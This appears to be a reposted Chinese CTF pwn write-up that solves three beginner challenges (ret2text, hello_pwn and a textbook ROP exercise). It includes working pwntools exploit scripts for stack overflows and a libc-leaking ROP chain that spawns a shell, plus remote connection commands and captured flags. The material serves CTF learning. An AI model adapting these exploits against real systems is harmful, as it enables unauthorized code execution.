小胖手


强制解锁命令:
sudo rm /var/lib/dpkg/lock-frontend

1.ret2text

首先checksec一下
在这里插入图片描述

32位

只开启了栈可执行保护

ida打开

查找/bin/sh在这里插入图片描述

binsh = 0x804863A

在这里插入图片描述

距离ebp的距离需要利用Ubuntu中gdb工具

gdb ./ret2text
在这里插入图片描述

因为存储读入的变量和到栈底的距离未知所以断点下在_gets

b *0x80486AE

别忘了再按r,报错不用管

在这里插入图片描述

借助变量s到esp的距离计算出s的地址

再计算变量s到esp的距离

用Python:

ebp = 0xffffcfd8

esp = 0xffffcf50

print hex(esp + 0x1c - ebp)

得到运算结果-0x6cL

所以需要填充0x6c个字符

至此,已经得到填充缓冲区的字符数为0x6c

system返回的/bin/sh程序地址为0x804863A

于是构造payload

Exp

from pwn import*
io = remote('xxxxxx.xx',28365)
binsh = 0x804863A
io.sendline('a'*(0x6c+4)+p32(binsh))
io.interactive()

python ret2text.py

cat flag

flag{5e22ee8d-07f0-4089-94c2-d5e14c84f331}


2.hello_pwn

来源nuaactf
首先拖到Ubuntu checksec一下
在这里插入图片描述
64位,只开启了栈可执行保护
64ida打开

ida 图标是Ada Lovelace 哄哄哄

在这里插入图片描述
几个函数点进去可以看到
在这里插入图片描述
基本上就是输入1853186401到dword_60106c
那么执行sub_400686于是cat flag.txt
我们有输入权限的unk_601068,我们输入c-8=4位就可以覆盖到dword_60106c
在这里插入图片描述
于是构造payload

Exp

from pwn import*
ma = remote("220.249.52.133",52432)
payload = 'a'*4 + p64(1853186401)
ma.sendline(payload)
ma.interactive()

python hello.py

cyberpeace{ec8ff6fef0bd58198cf3e64228e62cb4}
动态滴~

哦哦 !看到一种简单的输入方式
1853186401按r->nuaa
4位溢出(注意小端序)
所以
echo aaaaaaun | nc 220.249.52.133 52432
Finished


3.[第六章 CTF之PWN章]ROP

《从0到1:CTFer成长之路》书籍配套题目,来源网站:book.nu1l

在这里插入图片描述64位,栈可执行保护

原理

  • 随着 NX 保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果
    绕过保护,目前主要的是 ROP(Return Oriented Programming 返回导向编程)

    • 其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。
  • 所谓 gadgets 就是以 ret 结尾的指令序列

    • 通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程
  • 之所以称之为 ROP,是因为核心在于利用了指令集中的 ret 指令,改变了指令流的执行顺序。

  • ROP 攻击一般得满足如下条件

    • 程序存在溢出,并且可以控制返回地址。
    • 可以找到满足条件的 gadgets 以及相应 gadgets 的地址。
    • 如果 gadgets 每次的地址是不固定的,那我们就需要想办法动态获取对应的地址了

EXP

#书上对应章节例题,具体解释可以看书上对应章节的内容
from pwn import *
p=process('./rop')
elf=ELF('./rop')
libc = elf.libc
pop_rdi = 0x4005d3
puts_got = 0x601018
puts = 0x400430
main = 0x400537
rop1 = "a"*18
rop1 += p64(pop_rdi)
rop1 += p64(puts_got)
rop1 += p64(puts)
rop1 += p64(main)
p.sendline(rop1)
p.recvuntil('\n')
addr = u64(p.recv(6).ljust(8,'\x00'))
libc_base = addr - libc.symbols['puts']
info("libc:0x%x",libc_base)
pop_rax = 0x00000000000439c8 + libc_base
pop_rdi = 0x000000000002155f + libc_base
pop_rsi = 0x0000000000023e6a + libc_base
pop_rdx = 0x0000000000001b96 + libc_base
syscall = 0x00000000000d2975 + libc_base
binsh   = next(libc.search("/bin/sh"),) + libc_base
rop2 = "a"*18
rop2 += p64(pop_rax)
rop2 += p64(59)
rop2 += p64(pop_rdi)
rop2 += p64(binsh)
rop2 += p64(pop_rsi)
rop2 += p64(0)
rop2 += p64(pop_rdx)
rop2 += p64(0)
rop2 += p64(syscall)

p.recvuntil("hello\n")
p.sendline(rop2)
p.interactive()

猜你喜欢

转载自blog.csdn.net/bocaiaichila/article/details/108923511